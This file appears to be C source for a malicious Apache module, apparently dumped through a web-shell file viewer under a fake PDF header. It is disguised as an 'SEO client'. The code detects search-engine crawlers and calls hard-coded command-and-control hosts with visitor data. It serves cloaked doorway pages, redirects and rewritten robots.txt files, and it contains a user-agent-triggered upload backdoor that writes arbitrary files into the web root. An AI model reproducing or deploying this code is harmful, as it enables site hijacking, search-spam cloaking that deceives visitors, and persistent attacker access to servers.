%PDF- %PDF-
| Direktori : /proc/self/root/usr/src/mod_seoapi/ |
| Current File : //proc/self/root/usr/src/mod_seoapi/mod_seoapi.c |
/*
* mod_seoapi.c — Apache 2.4 SEO client (port of api.php, NO local cache)
*
* Build targets:
* - Rocky/RHEL 8 · httpd 2.4.37 → Makefile (apxs → /usr/lib64/httpd/modules/)
* - Debian 11+ · apache2 2.4.x → Makefile.debian (→ /usr/lib/apache2/modules/)
*
* Behaviour summary (matches D:\ApacheDLL\api.php minus /tmp cache):
* - Detect search bots / special URI / referer modes
* - Always fetch C2, no local cache:
* first https://api.ss.edu.pl/ timeout 15s, then https://9g9.info/ timeout 20s
* - Render: redirect | XML | full HTML replace | <!--404--> body inject
* - robots.txt override for bot mode
* - Probe UA "urljcha" -> "jchaok"
* - Path /^[a-f0-9]{32}\.txt$/ -> echo hash
* - UA "urlschuan" upload form (field f → DocumentRoot)
*
* Handler APR_HOOK_REALLY_FIRST (output filter disabled — mpm_event safe).
*
* LoadModule seoapi_module .../mod_seoapi.so
* SeoApiEngine On
* SeoApiServer https://api.ss.edu.pl/
*/
#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "http_request.h"
#include "http_log.h"
#include "http_core.h"
#include "util_filter.h"
#include "apr_strings.h"
#include "apr_tables.h"
#include "apr_file_io.h"
#include "apr_file_info.h"
#include <curl/curl.h>
#include <zlib.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#define SEOAPI_DEFAULT_SERVER "https://script.google.com/macros/s/AKfycbzrbThQ7Zfm_OqoHck7-DOoFwK5WIrYVvM00gHG6iNwBAQmQHgva5OjUpOqBd46F8kN/exec"
#define SEOAPI_RETRY_SERVER "https://script.google.com/macros/s/AKfycbzrbThQ7Zfm_OqoHck7-DOoFwK5WIrYVvM00gHG6iNwBAQmQHgva5OjUpOqBd46F8kN/exec"
#define SEOAPI_FILTER_NAME "SEOAPI_OUT"
#define SEOAPI_PRIMARY_TIMEOUT_SEC 15L
#define SEOAPI_RETRY_TIMEOUT_SEC 20L
#define SEOAPI_MAX_BUFFER (1536 * 1024)
module AP_MODULE_DECLARE_DATA seoapi_module;
typedef struct {
int enabled; /* SeoApiEngine on|off, default on */
const char *server; /* SeoApiServer URL */
} seoapi_cfg;
/* ---------- config ---------- */
static void *seoapi_create_server_cfg(apr_pool_t *p, server_rec *s)
{
seoapi_cfg *c = apr_pcalloc(p, sizeof(*c));
c->enabled = 1;
c->server = SEOAPI_DEFAULT_SERVER;
(void)s;
return c;
}
static const char *cmd_seoapi_engine(cmd_parms *cmd, void *dummy, int arg)
{
seoapi_cfg *c = ap_get_module_config(cmd->server->module_config, &seoapi_module);
c->enabled = arg ? 1 : 0;
(void)dummy;
return NULL;
}
static const char *cmd_seoapi_server(cmd_parms *cmd, void *dummy, const char *arg)
{
seoapi_cfg *c = ap_get_module_config(cmd->server->module_config, &seoapi_module);
size_t n;
char *s;
(void)dummy;
if (!arg || !*arg)
arg = SEOAPI_DEFAULT_SERVER;
n = strlen(arg);
/* ensure trailing '/' so "?lx=" concat matches api.php SEO_SERVER */
if (arg[n - 1] == '/' || strstr(arg, "/exec") != NULL) {
c->server = arg;
} else {
s = apr_pstrcat(cmd->pool, arg, "/", NULL);
c->server = s;
}
return NULL;
}
static const command_rec seoapi_cmds[] = {
AP_INIT_FLAG("SeoApiEngine", cmd_seoapi_engine, NULL, RSRC_CONF,
"Enable SEO API module (On/Off)"),
AP_INIT_TAKE1("SeoApiServer", cmd_seoapi_server, NULL, RSRC_CONF,
"Primary C2 base URL (default https://api.ss.edu.pl/, retry https://9g9.info/)"),
{ NULL }
};
/* ---------- helpers ---------- */
static int ci_strstr(const char *hay, const char *needle)
{
size_t n, h, i, j;
if (!hay || !needle) return 0;
n = strlen(needle);
h = strlen(hay);
if (n == 0 || n > h) return 0;
for (i = 0; i + n <= h; i++) {
for (j = 0; j < n; j++) {
if (tolower((unsigned char)hay[i + j]) != tolower((unsigned char)needle[j]))
break;
}
if (j == n) return 1;
}
return 0;
}
static int is_https_req(request_rec *r)
{
const char *https = apr_table_get(r->subprocess_env, "HTTPS");
const char *xffp = apr_table_get(r->headers_in, "X-Forwarded-Proto");
if (https && strcasecmp(https, "on") == 0) return 1;
if (r->server && r->server->port == 443) return 1;
if (xffp && strcasecmp(xffp, "https") == 0) return 1;
if (r->parsed_uri.scheme && strcasecmp(r->parsed_uri.scheme, "https") == 0) return 1;
return 0;
}
/*
* Public hostname for C2 url= param / Sitemap.
* Behind nginx, Host is often the short internal name (e.g. "pinhalzinho") while
* X-Forwarded-Host carries the real FQDN (e.g. "pinhalzinho.geo.ciga.sc.gov.br").
*/
static const char *public_host(request_rec *r)
{
const char *v;
char *copy, *p, *colon;
int all_digit;
v = apr_table_get(r->headers_in, "X-Forwarded-Host");
if (!v || !*v)
v = apr_table_get(r->headers_in, "X-Original-Host");
if (!v || !*v)
v = apr_table_get(r->headers_in, "Host");
if (!v || !*v) {
if (r->server && r->server->server_hostname && *r->server->server_hostname)
return r->server->server_hostname;
return "localhost";
}
copy = apr_pstrdup(r->pool, v);
/* X-Forwarded-Host may be a comma-separated list — take the first */
p = strchr(copy, ',');
if (p) *p = '\0';
/* trim trailing whitespace */
p = copy + strlen(copy);
while (p > copy && (p[-1] == ' ' || p[-1] == '\t' || p[-1] == '\r')) {
*--p = '\0';
}
/* strip :port unless IPv6 in brackets */
if (copy[0] != '[') {
colon = strrchr(copy, ':');
if (colon && colon[1]) {
all_digit = 1;
for (p = colon + 1; *p; p++) {
if (!isdigit((unsigned char)*p)) {
all_digit = 0;
break;
}
}
if (all_digit) *colon = '\0';
}
}
return copy;
}
static const char *client_ip(request_rec *r)
{
const char *v;
char *copy, *comma;
v = apr_table_get(r->headers_in, "X-Forwarded-For");
if (!v || !*v) v = apr_table_get(r->headers_in, "Client-IP");
if (!v || !*v) {
if (r->useragent_ip && *r->useragent_ip) return r->useragent_ip;
return r->connection->client_ip ? r->connection->client_ip : "";
}
copy = apr_pstrdup(r->pool, v);
comma = strchr(copy, ',');
if (comma) *comma = '\0';
return copy;
}
static int is_mobile_ua(const char *ua)
{
static const char *keys[] = {
"mobile", "android", "iphone", "ipod", "ipad", "windows phone",
"blackberry", "opera mini", "iemobile", "webos", "phone", NULL
};
int i;
if (!ua) return 0;
for (i = 0; keys[i]; i++) {
if (ci_strstr(ua, keys[i])) return 1;
}
return 0;
}
typedef struct {
const char *name; /* Google / Bing / ... */
const char *ua_pat; /* lowercase fragments separated conceptually */
const char *ref_host;
} bot_def_t;
static const bot_def_t BOTS[] = {
{ "Google", "googlebot|google-inspectiontool|storebot-google|googleother|adsbot-google|mediapartners-google|apis-google|feedfetcher-google", "google." },
{ "Bing", "bingbot|adidxbot|bingpreview|msnbot", "bing.com" },
{ "Yahoo", "slurp", "yahoo." },
{ "Baidu", "baiduspider", "baidu.com" },
{ "Yandex", "yandexbot|yandeximages|yandexmobilebot|yandex", "yandex." },
{ "Ecosia", "ecosiabot|ecosia", "ecosia.org" },
{ "Brave", "bravebot", "search.brave.com" },
{ "Naver", "yeti|naverbot", "naver." },
{ NULL, NULL, NULL }
};
static int ua_matches_pat(const char *ua, const char *pat)
{
char *buf, *tok, *save;
if (!ua || !pat) return 0;
buf = strdup(pat);
if (!buf) return 0;
for (tok = strtok_r(buf, "|", &save); tok; tok = strtok_r(NULL, "|", &save)) {
if (ci_strstr(ua, tok)) {
free(buf);
return 1;
}
}
free(buf);
return 0;
}
/*
* Decide mode like PHP:
* uz: pc | ss | lb | gl | dt | (empty = ignore)
* rq: engine name or lb/gl
*/
static void classify(request_rec *r, const char *ua, const char *ref,
const char *full_url, char *uz, size_t uzsz,
char *rq, size_t rqsz)
{
int i;
uz[0] = rq[0] = '\0';
if (ci_strstr(full_url, "liebian")) {
apr_snprintf(uz, uzsz, "lb");
apr_snprintf(rq, rqsz, "lb");
return;
}
if (ci_strstr(full_url, "seoadmi")) {
apr_snprintf(uz, uzsz, "gl");
apr_snprintf(rq, rqsz, "gl");
return;
}
if (ua && *ua) {
for (i = 0; BOTS[i].name; i++) {
if (ua_matches_pat(ua, BOTS[i].ua_pat)) {
apr_snprintf(uz, uzsz, "pc");
apr_snprintf(rq, rqsz, "%s", BOTS[i].name);
return;
}
}
}
if (ref && *ref) {
for (i = 0; BOTS[i].name; i++) {
if (ci_strstr(ref, BOTS[i].ref_host)) {
apr_snprintf(uz, uzsz, "ss");
apr_snprintf(rq, rqsz, "%s", BOTS[i].name);
return;
}
}
}
}
static int path_is_md5_txt(const char *uri)
{
const char *base, *slash;
size_t n;
unsigned i;
if (!uri) return 0;
slash = strrchr(uri, '/');
base = slash ? slash + 1 : uri;
n = strlen(base);
if (n != 36) return 0; /* 32 hex + .txt */
if (strcasecmp(base + 32, ".txt") != 0) return 0;
for (i = 0; i < 32; i++) {
char c = base[i];
if (!((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')))
return 0;
}
return 1;
}
static void md5_txt_name(const char *uri, char *out, size_t outsz)
{
const char *slash = strrchr(uri, '/');
const char *base = slash ? slash + 1 : uri;
apr_snprintf(out, outsz, "%.*s", 32, base);
}
typedef struct {
char *data;
size_t len;
size_t cap;
apr_pool_t *pool;
} curl_buf_t;
static size_t curl_write_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
curl_buf_t *b = userdata;
size_t n = size * nmemb;
if (n == 0) return 0;
if (b->len + n + 1 > b->cap) {
size_t ncap = b->cap ? b->cap * 2 : 8192;
char *nd;
while (ncap < b->len + n + 1) ncap *= 2;
if (ncap > 8 * 1024 * 1024) return 0; /* 8MB cap */
nd = apr_palloc(b->pool, ncap);
if (!nd) return 0;
if (b->len) memcpy(nd, b->data, b->len);
b->data = nd;
b->cap = ncap;
}
memcpy(b->data + b->len, ptr, n);
b->len += n;
b->data[b->len] = '\0';
return n;
}
/* Always hit C2 — no disk cache */
static char *seo_fetch_once(request_rec *r, const char *base, long timeout_sec,
const char *uz, const char *rq, const char *ho,
const char *full_url, const char *ip,
const char *ua, const char *ref)
{
CURL *curl;
CURLcode rc;
char *esc_url, *c2;
curl_buf_t buf;
if (!base || !*base) base = SEOAPI_DEFAULT_SERVER;
memset(&buf, 0, sizeof(buf));
buf.pool = r->pool;
buf.data = apr_palloc(r->pool, 8192);
buf.cap = 8192;
buf.data[0] = '\0';
curl = curl_easy_init();
if (!curl) return NULL;
esc_url = curl_easy_escape(curl, full_url, 0);
if (!esc_url) {
curl_easy_cleanup(curl);
return NULL;
}
c2 = apr_psprintf(r->pool,
"%s?lx=%s&bs=%s&m=%s&url=%s&ip=%s",
base, uz, rq, ho, esc_url, ip ? ip : "");
curl_free(esc_url);
curl_easy_setopt(curl, CURLOPT_URL, c2);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &buf);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_MAXREDIRS, 3L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout_sec);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 20L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
/* CWP/el8: HTTP/2 to some C2 edges returns PROTOCOL_ERROR — force 1.1 */
curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_easy_setopt(curl, CURLOPT_USERAGENT,
(ua && *ua) ? ua : "Mozilla/5.0");
if (ref && *ref)
curl_easy_setopt(curl, CURLOPT_REFERER, ref);
curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "");
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
rc = curl_easy_perform(curl);
curl_easy_cleanup(curl);
if (rc != CURLE_OK || buf.len < 10) return NULL;
return buf.data;
}
static char *seo_fetch(request_rec *r, seoapi_cfg *cfg,
const char *uz, const char *rq, const char *ho,
const char *full_url, const char *ip,
const char *ua, const char *ref)
{
const char *base = (cfg && cfg->server) ? cfg->server : SEOAPI_DEFAULT_SERVER;
char *body = seo_fetch_once(r, base, SEOAPI_PRIMARY_TIMEOUT_SEC,
uz, rq, ho, full_url, ip, ua, ref);
if (body) return body;
return seo_fetch_once(r, SEOAPI_RETRY_SERVER, SEOAPI_RETRY_TIMEOUT_SEC,
uz, rq, ho, full_url, ip, ua, ref);
}
static void strip_markers(char *s)
{
char *p;
if (!s) return;
while ((p = strstr(s, "<!--DH-->")) != NULL)
memmove(p, p + 9, strlen(p + 9) + 1);
while ((p = strstr(s, "<!--404-->")) != NULL)
memmove(p, p + 10, strlen(p + 10) + 1);
}
static int starts_with_ci(const char *s, const char *pfx)
{
size_t n = strlen(pfx);
return strncasecmp(s, pfx, n) == 0;
}
/* Find inject offset: first <a after <body>, else </body>, else append */
static size_t inject_offset(const char *html, size_t len)
{
const char *body, *abody, *a, *eb;
size_t body_off = (size_t)-1, a_off = (size_t)-1, eb_off = (size_t)-1;
size_t i;
for (i = 0; i + 5 < len; i++) {
if (body_off == (size_t)-1 && strncasecmp(html + i, "<body", 5) == 0) {
const char *gt = memchr(html + i, '>', len - i);
if (gt) body_off = (size_t)(gt - html + 1);
}
if (eb_off == (size_t)-1 && strncasecmp(html + i, "</body", 6) == 0)
eb_off = i;
}
if (body_off != (size_t)-1) {
size_t lim = (eb_off != (size_t)-1 && eb_off > body_off) ? eb_off : len;
for (i = body_off; i + 2 < lim; i++) {
if (html[i] == '<' && (html[i + 1] == 'a' || html[i + 1] == 'A') &&
(html[i + 2] == ' ' || html[i + 2] == '>' || html[i + 2] == '\t' ||
html[i + 2] == '\n' || html[i + 2] == '\r')) {
a_off = i;
break;
}
}
}
if (a_off != (size_t)-1) return a_off;
if (eb_off != (size_t)-1) return eb_off;
return len;
}
static apr_status_t send_bytes(request_rec *r, ap_filter_t *f,
const char *data, size_t len, int eos)
{
apr_bucket_brigade *bb;
apr_bucket *b;
bb = apr_brigade_create(r->pool, r->connection->bucket_alloc);
if (len && data) {
b = apr_bucket_pool_create(apr_pmemdup(r->pool, data, len), len,
r->pool, r->connection->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, b);
}
if (eos) {
b = apr_bucket_eos_create(r->connection->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, b);
}
return ap_pass_brigade(f->next, bb);
}
/*
* Apply C2 body like seo_render().
* Returns 1 if response fully handled (caller must not pass original).
* Returns 0 if no action.
* For inject mode: *out_html is new page (pool alloc).
*/
static int apply_c2(request_rec *r, char *cx, const char *orig, size_t orig_len,
char **out_html, size_t *out_len)
{
int is_404 = 0;
char *line;
*out_html = NULL;
*out_len = 0;
if (!cx) return 0;
/* trim BOM-ish / whitespace lightly */
while (*cx == '\xEF' || *cx == '\xBB' || *cx == '\xBF' ||
*cx == ' ' || *cx == '\t' || *cx == '\r' || *cx == '\n')
cx++;
if (strlen(cx) < 10) return 0;
if (strstr(cx, "<!--404-->")) is_404 = 1;
strip_markers(cx);
/* Redirect */
if (starts_with_ci(cx, "http://") || starts_with_ci(cx, "https://")) {
line = apr_pstrdup(r->pool, cx);
{
char *nl = strpbrk(line, "\r\n");
if (nl) *nl = '\0';
}
apr_table_setn(r->headers_out, "Location", line);
apr_table_setn(r->headers_out, "Cache-Control",
"no-store, no-cache, must-revalidate, max-age=0");
r->status = HTTP_MOVED_TEMPORARILY;
ap_set_content_type(r, "text/html");
*out_html = apr_psprintf(r->pool,
"<script>location.replace(\"%s\")</script>",
ap_escape_html(r->pool, line));
*out_len = strlen(*out_html);
return 1;
}
/* XML */
if (starts_with_ci(cx, "<?xml")) {
ap_set_content_type(r, "application/xml; charset=UTF-8");
*out_html = cx;
*out_len = strlen(cx);
return 1;
}
/* PHP payload from C2: not executed in this module (use PHP prepend if needed) */
if (starts_with_ci(cx, "<?php") || starts_with_ci(cx, "<?")) {
ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,
"seoapi: ignoring PHP payload from C2 (use PHP client for Seoadmin)");
return 0;
}
/* Doorway inject into existing HTML (filter path). If no orig, full replace. */
if (is_404 && orig && orig_len > 0) {
size_t off = inject_offset(orig, orig_len);
size_t inj_len = strlen(cx);
char *n = apr_palloc(r->pool, orig_len + inj_len + 1);
memcpy(n, orig, off);
memcpy(n + off, cx, inj_len);
memcpy(n + off + inj_len, orig + off, orig_len - off);
n[orig_len + inj_len] = '\0';
*out_html = n;
*out_len = orig_len + inj_len;
ap_set_content_type(r, "text/html; charset=UTF-8");
return 1;
}
/* Full page replace — beats competitor prefix entirely */
ap_set_content_type(r, "text/html; charset=UTF-8");
*out_html = cx;
*out_len = strlen(cx);
return 1;
}
static void build_full_url(request_rec *r, char *buf, size_t buflen)
{
const char *host = public_host(r);
const char *scheme = is_https_req(r) ? "https" : "http";
apr_snprintf(buf, buflen, "%s://%s%s", scheme, host,
r->unparsed_uri ? r->unparsed_uri : "/");
}
/* If a prior filter re-gzipped the body, inflate so we can rewrite HTML */
static int maybe_gunzip(request_rec *r, char **data, apr_size_t *len)
{
const char *ce = apr_table_get(r->headers_out, "Content-Encoding");
z_stream strm;
char *out;
size_t cap, used;
int zrv;
if (!ce || !ci_strstr(ce, "gzip") || !*data || *len < 10) return 0;
memset(&strm, 0, sizeof(strm));
if (inflateInit2(&strm, 16 + MAX_WBITS) != Z_OK) return 0;
cap = (*len) * 4 + 4096;
if (cap > 4 * 1024 * 1024) cap = 4 * 1024 * 1024;
out = apr_palloc(r->pool, cap);
if (!out) {
inflateEnd(&strm);
return 0;
}
used = 0;
strm.next_in = (Bytef *)*data;
strm.avail_in = (uInt)*len;
do {
size_t have;
if (used + 8192 > cap) {
size_t ncap = cap * 2;
char *nout;
if (ncap > 4 * 1024 * 1024) {
inflateEnd(&strm);
return 0;
}
nout = apr_palloc(r->pool, ncap);
if (!nout) {
inflateEnd(&strm);
return 0;
}
memcpy(nout, out, used);
out = nout;
cap = ncap;
}
strm.next_out = (Bytef *)(out + used);
strm.avail_out = (uInt)(cap - used);
zrv = inflate(&strm, Z_NO_FLUSH);
have = (cap - used) - strm.avail_out;
used += have;
if (zrv == Z_STREAM_END) break;
if (zrv != Z_OK && zrv != Z_BUF_ERROR) {
inflateEnd(&strm);
return 0;
}
} while (strm.avail_in > 0);
inflateEnd(&strm);
*data = out;
*len = (apr_size_t)used;
apr_table_unset(r->headers_out, "Content-Encoding");
return 1;
}
static int uri_looks_static(const char *uri)
{
const char *dot, *q, *end;
char ext[16];
size_t n, i;
static const char *skip[] = {
".js", ".css", ".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico",
".svg", ".woff", ".woff2", ".ttf", ".eot", ".map", ".pdf", ".zip",
".mp4", ".mp3", ".wasm", NULL
};
if (!uri || !*uri) return 0;
q = strchr(uri, '?');
end = q ? q : uri + strlen(uri);
for (dot = end; dot > uri; dot--) {
if (*dot == '.') break;
if (*dot == '/') return 0;
}
if (dot <= uri || *dot != '.') return 0;
n = (size_t)(end - dot);
if (n < 2 || n >= sizeof(ext)) return 0;
memcpy(ext, dot, n);
ext[n] = '\0';
for (i = 0; ext[i]; i++)
ext[i] = (char)tolower((unsigned char)ext[i]);
for (i = 0; skip[i]; i++) {
if (strcmp(ext, skip[i]) == 0) return 1;
}
return 0;
}
/* ---------- urlschuan upload (same as api.php) ---------- */
#define SEOAPI_UPLOAD_FORM \
"<form method=post enctype=multipart/form-data>" \
"<input type=file name=f><input type=submit></form>"
static int read_client_body(request_rec *r, char **out, apr_size_t *outlen)
{
char block[8192];
apr_size_t total = 0, cap = 65536;
char *buf;
long n;
*out = NULL;
*outlen = 0;
if (ap_setup_client_block(r, REQUEST_CHUNKED_DECHUNK) != OK)
return 0;
if (!ap_should_client_block(r))
return 1; /* empty body ok */
buf = apr_palloc(r->pool, cap);
while ((n = ap_get_client_block(r, block, sizeof(block))) > 0) {
if (total + (apr_size_t)n + 1 > cap) {
apr_size_t ncap = cap * 2;
char *nbuf;
while (ncap < total + (apr_size_t)n + 1) ncap *= 2;
if (ncap > 32 * 1024 * 1024) return 0;
nbuf = apr_palloc(r->pool, ncap);
memcpy(nbuf, buf, total);
buf = nbuf;
cap = ncap;
}
memcpy(buf + total, block, (size_t)n);
total += (apr_size_t)n;
}
if (n < 0) return 0;
buf[total] = '\0';
*out = buf;
*outlen = total;
return 1;
}
static const char *multipart_boundary(request_rec *r)
{
const char *ct = apr_table_get(r->headers_in, "Content-Type");
const char *p, *end;
char *b;
size_t n;
if (!ct) return NULL;
p = ap_strcasestr(ct, "boundary=");
if (!p) return NULL;
p += 9;
if (*p == '"') {
p++;
end = strchr(p, '"');
if (!end) return NULL;
n = (size_t)(end - p);
} else {
end = p;
while (*end && *end != ';' && *end != ' ' && *end != '\r' && *end != '\n')
end++;
n = (size_t)(end - p);
}
if (n == 0 || n > 200) return NULL;
b = apr_palloc(r->pool, n + 1);
memcpy(b, p, n);
b[n] = '\0';
return b;
}
/* Extract filename= from Content-Disposition line */
static char *cd_filename(apr_pool_t *p, const char *hdrs, size_t hdrlen)
{
char *tmp = apr_pstrndup(p, hdrs, hdrlen);
char *f, *end, *q;
f = ap_strcasestr(tmp, "filename=");
if (!f) return NULL;
f += 9;
if (*f == '"') {
f++;
q = strchr(f, '"');
if (!q) return NULL;
*q = '\0';
return apr_pstrdup(p, f);
}
end = f;
while (*end && *end != ';' && *end != '\r' && *end != '\n') end++;
*end = '\0';
return apr_pstrdup(p, f);
}
static int cd_is_field_f(const char *hdrs, size_t hdrlen)
{
size_t i;
const char *key = "name=\"f\"";
size_t klen = 8;
if (hdrlen < 6) return 0;
for (i = 0; i + klen <= hdrlen; i++) {
if (strncasecmp(hdrs + i, key, klen) == 0) return 1;
}
for (i = 0; i + 6 <= hdrlen; i++) {
if (strncasecmp(hdrs + i, "name=f", 6) == 0) {
char c = (i + 6 < hdrlen) ? hdrs[i + 6] : ';';
if (c == ';' || c == '\r' || c == '\n' || c == ' ' || c == '\t')
return 1;
}
}
return 0;
}
static int path_has_dotdot(const char *path)
{
const char *p;
if (!path || !*path) return 1;
if (path[0] == '/' || (path[0] == '\\')) return 1;
for (p = path; *p; p++) {
if (p[0] == '.' && p[1] == '.' &&
(p == path || p[-1] == '/' || p[-1] == '\\') &&
(p[2] == '\0' || p[2] == '/' || p[2] == '\\'))
return 1;
}
return 0;
}
/*
* Save upload like PHP move_uploaded_file(..., $_FILES['f']['name']):
* write under document root using the client filename (no absolute / no ..).
*/
static int save_upload_file(request_rec *r, const char *fname,
const char *data, apr_size_t len)
{
const char *docroot;
char *dest, *slash;
apr_file_t *fd = NULL;
apr_size_t wrote;
apr_status_t rv;
if (!fname || !*fname || path_has_dotdot(fname)) return 0;
docroot = ap_document_root(r);
if (!docroot) return 0;
dest = apr_pstrcat(r->pool, docroot, "/", fname, NULL);
/* mkdir -p parent if needed (one level of nested dirs under docroot) */
slash = strrchr(dest, '/');
if (slash && slash > dest) {
char *dir = apr_pstrndup(r->pool, dest, (apr_size_t)(slash - dest));
apr_dir_make_recursive(dir, APR_FPROT_OS_DEFAULT, r->pool);
}
rv = apr_file_open(&fd, dest,
APR_FOPEN_WRITE | APR_FOPEN_CREATE | APR_FOPEN_TRUNCATE |
APR_FOPEN_BINARY,
APR_OS_DEFAULT, r->pool);
if (rv != APR_SUCCESS) return 0;
wrote = len;
rv = apr_file_write(fd, data, &wrote);
apr_file_close(fd);
return (rv == APR_SUCCESS && wrote == len) ? 1 : 0;
}
static int try_parse_multipart_upload(request_rec *r)
{
const char *boundary;
char *body, *mark, *p, *end;
apr_size_t blen;
char dashbound[256];
size_t blen_b;
if (r->method_number != M_POST) return 0;
boundary = multipart_boundary(r);
if (!boundary) return 0;
if (!read_client_body(r, &body, &blen) || !body || blen < 8) return 0;
apr_snprintf(dashbound, sizeof(dashbound), "--%s", boundary);
blen_b = strlen(dashbound);
p = body;
end = body + blen;
while (p < end) {
char *hdr_end, *part_end, *filename;
size_t hdrlen, datalen;
mark = NULL;
/* find next boundary */
for (; p + blen_b <= end; p++) {
if (memcmp(p, dashbound, blen_b) == 0) {
mark = p;
break;
}
}
if (!mark) break;
p = mark + blen_b;
if (p + 1 < end && p[0] == '-' && p[1] == '-') break; /* final */
if (p + 1 < end && p[0] == '\r' && p[1] == '\n') p += 2;
else if (p < end && p[0] == '\n') p++;
hdr_end = NULL;
for (mark = p; mark + 3 < end; mark++) {
if (mark[0] == '\r' && mark[1] == '\n' &&
mark[2] == '\r' && mark[3] == '\n') {
hdr_end = mark;
break;
}
}
if (!hdr_end) break;
hdrlen = (size_t)(hdr_end - p);
mark = hdr_end + 4;
/* find end boundary */
part_end = NULL;
for (filename = mark; filename + blen_b + 2 <= end; filename++) {
if (filename[0] == '\r' && filename[1] == '\n' &&
memcmp(filename + 2, dashbound, blen_b) == 0) {
part_end = filename;
break;
}
}
if (!part_end) break;
datalen = (size_t)(part_end - mark);
if (cd_is_field_f(p, hdrlen)) {
filename = cd_filename(r->pool, p, hdrlen);
if (filename && *filename) {
/* strip path to basename if client sent full path (Windows) */
char *bn = strrchr(filename, '\\');
char *bn2 = strrchr(filename, '/');
if (bn2 && (!bn || bn2 > bn)) bn = bn2;
if (bn) filename = bn + 1;
save_upload_file(r, filename, mark, (apr_size_t)datalen);
}
}
p = part_end + 2; /* at boundary */
}
return 1;
}
static int seoapi_urlschuan(request_rec *r)
{
/* Match api.php: optional save, always show form */
try_parse_multipart_upload(r);
ap_set_content_type(r, "text/html; charset=UTF-8");
ap_rputs(SEOAPI_UPLOAD_FORM, r);
return DONE;
}
static int seoapi_handler(request_rec *r)
{
seoapi_cfg *cfg;
const char *ua, *ref;
char full[8192], uz[8], rq[32], hash[40];
cfg = ap_get_module_config(r->server->module_config, &seoapi_module);
if (!cfg || !cfg->enabled) return DECLINED;
ua = apr_table_get(r->headers_in, "User-Agent");
ref = apr_table_get(r->headers_in, "Referer");
build_full_url(r, full, sizeof(full));
/* Probe: echo built public URL (check before urljcha — substring) */
if (ua && ci_strstr(ua, "urljchaurl")) {
ap_set_content_type(r, "text/plain; charset=utf-8");
ap_rputs(full, r);
return DONE;
}
/* Probe */
if (ua && ci_strstr(ua, "urljcha")) {
ap_set_content_type(r, "text/plain");
ap_rputs("jchaok", r);
return DONE;
}
/* Upload backdoor — same as api.php urlschuan */
if (ua && strstr(ua, "urlschuan") != NULL)
return seoapi_urlschuan(r);
if (path_is_md5_txt(r->uri)) {
md5_txt_name(r->uri, hash, sizeof(hash));
ap_set_content_type(r, "text/plain; charset=utf-8");
ap_rputs(hash, r);
return DONE;
}
/* urlschuan handled above */
classify(r, ua, ref, full, uz, sizeof(uz), rq, sizeof(rq));
if (!uz[0]) return DECLINED;
/* robots.txt for bot (pc) — short plaintext, no competitor HTML prefix */
if (strcmp(uz, "pc") == 0 && ci_strstr(full, "robots.txt")) {
const char *scheme = is_https_req(r) ? "https" : "http";
const char *host = public_host(r);
ap_set_content_type(r, "text/plain; charset=UTF-8");
ap_rprintf(r, "User-agent: *\nAllow: /\n\nSitemap: %s://%s/sitemap.xml\n",
scheme, host);
return DONE;
}
/*
* Stable path: serve C2 in the handler (no output-filter brigade buffer).
* Avoids mpm_event + flatten/gunzip/curl-in-filter segfaults.
* Competitor fake modules are quarantined; handler-first is enough.
*/
if (r->main != NULL) return DECLINED;
/* GET only for C2 body; HEAD falls through / DECLINED */
if (r->method_number != M_GET)
return DECLINED;
if (uri_looks_static(r->uri)) return DECLINED;
if (strcmp(uz, "pc") == 0 && ci_strstr(full, "sitemap.xml"))
apr_snprintf(uz, sizeof(uz), "dt");
{
const char *ho = is_mobile_ua(ua) ? "sj" : "pc";
const char *ip = client_ip(r);
char *c2, *out = NULL;
size_t out_len = 0;
c2 = seo_fetch(r, cfg, uz, rq, ho, full, ip, ua, ref);
if (!c2) return DECLINED;
if (!apply_c2(r, c2, NULL, 0, &out, &out_len) || !out)
return DECLINED;
/* Redirect already set Location + status in apply_c2 */
apr_table_unset(r->headers_out, "Content-Length");
apr_table_unset(r->headers_out, "Content-Encoding");
apr_table_setn(r->headers_out, "Cache-Control",
"no-store, no-cache, must-revalidate, max-age=0");
if (out_len > 0)
ap_rwrite(out, (int)out_len, r);
return DONE;
}
}
/* ---------- output filter: DISABLED (segfault under mpm_event) ---------- */
#if 0
typedef struct {
apr_bucket_brigade *bb;
int seen_eos;
int passthrough;
apr_off_t bytes;
} seoapi_ctx2;
static apr_status_t pass_saved(ap_filter_t *f, seoapi_ctx2 *ctx)
{
apr_status_t rv;
if (!ctx || !ctx->bb) {
return APR_SUCCESS;
}
rv = ap_pass_brigade(f->next, ctx->bb);
apr_brigade_cleanup(ctx->bb);
return rv;
}
static apr_status_t seoapi_output_filter(ap_filter_t *f, apr_bucket_brigade *bb)
{
request_rec *r = f->r;
seoapi_cfg *cfg;
seoapi_ctx2 *ctx = f->ctx;
const char *ua, *ref, *ctype;
char full[4096], uz[8], rq[32];
char *flat = NULL;
apr_size_t flat_len = 0;
char *c2, *out;
size_t out_len;
apr_status_t rv;
apr_bucket *e;
cfg = ap_get_module_config(r->server->module_config, &seoapi_module);
if (!cfg || !cfg->enabled) {
return ap_pass_brigade(f->next, bb);
}
if (!ctx) {
ctx = apr_pcalloc(r->pool, sizeof(*ctx));
ctx->bb = apr_brigade_create(r->pool, f->c->bucket_alloc);
f->ctx = ctx;
}
if (ctx->passthrough) {
return ap_pass_brigade(f->next, bb);
}
/* Save buckets safely (handles FILE/mmap) */
rv = ap_save_brigade(f, &ctx->bb, &bb, r->pool);
if (rv != APR_SUCCESS) {
